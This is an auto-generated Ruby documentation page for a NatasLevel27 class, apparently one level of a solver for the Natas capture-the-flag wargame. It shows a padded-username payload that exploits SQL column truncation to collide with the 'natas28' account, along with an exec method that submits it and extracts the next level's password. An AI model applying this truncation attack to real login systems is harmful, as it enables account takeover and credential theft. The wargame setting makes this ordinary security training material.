Class: NatasLevel27
- Inherits:
-
NatasLevelBase
- Object
- NatasLevelBase
- NatasLevel27
- Defined in:
- lib/natas.rb
Overview
Level 27
Constant Summary collapse
- LEVEL =
27
- PAGE =
'/'
- COLUMN_SIZE =
64
- NEXT_LOGIN =
'natas28'
- PAYLOAD =
format( '%<login>s%<space>s%<tail>s', login: NEXT_LOGIN, space: ' ' * (COLUMN_SIZE - NEXT_LOGIN.length), tail: 'x' )
Constants inherited from NatasLevelBase
NatasLevelBase::HOST, NatasLevelBase::LOGIN, NatasLevelBase::PASSWORD_LENGTH, NatasLevelBase::PORT, NatasLevelBase::WEBPASS
Instance Attribute Summary
Attributes inherited from NatasLevelBase
Instance Method Summary collapse
Methods inherited from NatasLevelBase
#get, #initialize, #level, #post
Constructor Details
This class inherits a constructor from NatasLevelBase
Instance Method Details
#exec ⇒ Object
760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 |
# File 'lib/natas.rb', line 760 def exec post( PAGE, {}, { 'username' => PAYLOAD, 'password' => '' } ) data = post( PAGE, {}, { 'username' => NEXT_LOGIN, 'password' => '' } ).body match = /\[password\] => (\w{32})\n/.match(data) not_found unless match found(match[1]) end |